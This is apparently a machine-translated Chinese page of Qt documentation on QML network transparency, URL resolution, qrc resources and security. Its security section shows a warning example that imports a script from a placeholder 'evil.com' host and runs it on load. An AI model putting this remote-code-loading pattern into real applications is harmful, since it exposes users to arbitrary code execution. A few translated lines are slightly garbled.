资源加载和网络透明度

QML 通过使用 URL(而不是文件名)实现网络透明度,以引用 QML 文档中的其他内容。这意味着,在任何预期 URL 源的地方,QML 可以处理远程资源以及本地资源,例如以下图像源所示

Image {
    source: "http://www.example.com/images/logo.png"
}

由于相对 URL 与相对文件相同,因此在常规文件系统上进行 QML 开发仍然很简单

Image {
    source: "images/logo.png"
}

QML 的整个范围内都支持网络透明度,例如,FontLoader 和 Image 元素都支持从远程服务器加载资源。

甚至 QML 类型本身也可以位于网络上:如果使用 qml 工具加载 http://example.com/mystuff/Hello.qml,并且该内容引用了一个名为 "World" 的类型,那么引擎将加载 http://example.com/mystuff/qmldir 并像本地文件一样解析该类型。例如,如果 qmldir 文件包含行 "World World.qml",它将加载 http://example.com/mystuff/World.qml。被 Hello.qml 引用的任何其他资源,通常是相对 URL,也将类似地从网络加载。

相对与绝对 URL

当对象具有类型为 URL(《QUrl》)的属性时,将字符串赋给该属性实际上会将绝对 URL 赋给该属性 - 通过将字符串与字符串使用的文档的 URL 进行解析。

例如,考虑以下内容在 http://example.com/mystuff/test.qml

Image {
    source: "images/logo.png"
}

Image 源属性将被分配 http://example.com/mystuff/images/logo.png,但是在开发 QML 时,比如说在 C:\User\Fred\Documents\MyStuff\test.qml,它将被分配到 C:\User\Fred\Documents\MyStuff\images\logo.png。

如果分配给 URL 的字符串已经是绝对 URL,那么 "解析" 不会改变它,并且将直接分配 URL。

QRC 资源

Qt 内置的 URL 方案之一是 "qrc" 方案。这使得可以使用 Qt 资源系统将内容编译到可执行文件中。使用此功能,可执行文件可以引用编译到可执行文件中的 QML 内容

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

内容本身可以使用相对 URL,因此可以透明地不知道内容已被编译到可执行文件中。

限制

只具有 "as" 子句的 import 语句才是网络透明的。

更具体地说

  • import "dir" 仅在本地文件系统上工作
  • import libraryUri 仅在本地文件系统上工作
  • import "dir" as D 以网络透明的方式工作
  • 导入libraryUrl为U可以透明地工作于网络

对应用程序安全的影响

QML的安全模型是:QML内容是一系列的受信任内容:用户以安装原生Qt应用程序或使用Python和Perl等运行时编写的程序相同的方式安装他们信任的QML内容。这种信任是通过多种机制建立的,包括某些平台上的软件包签名。

为了保持用户的信任,QML应用程序开发人员不应加载和执行任意JavaScript或QML资源。例如,考虑以下QML代码

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

这相当于下载并执行"http://evil.com/evil.exe"。 QML引擎不会阻止特定资源的加载。与在网页浏览器中运行的JavaScript代码不同,QML应用程序可以像任何其他原生应用程序一样加载远程或本地文件系统资源,因此应用程序开发人员必须小心地加载和执行任何内容。

就像任何访问其控制之外的其他内容的应用程序一样,QML应用程序应该对其加载的任何不受信任的数据执行适当的检查。例如,不要使用导入LoaderXMLHttpRequest来加载任何不受信任的代码或内容。

© 2024 Qt公司有限公司。本文件中包含的文档贡献的版权属于其各自的所有者。本文件提供的文档是根据自由软件基金会发布的GNU自由文档许可协议版本1.3的条款提供的。Qt及其相关的商标是芬兰Qt公司以及其他国家的商标。所有其他商标均为各自所有者的财产。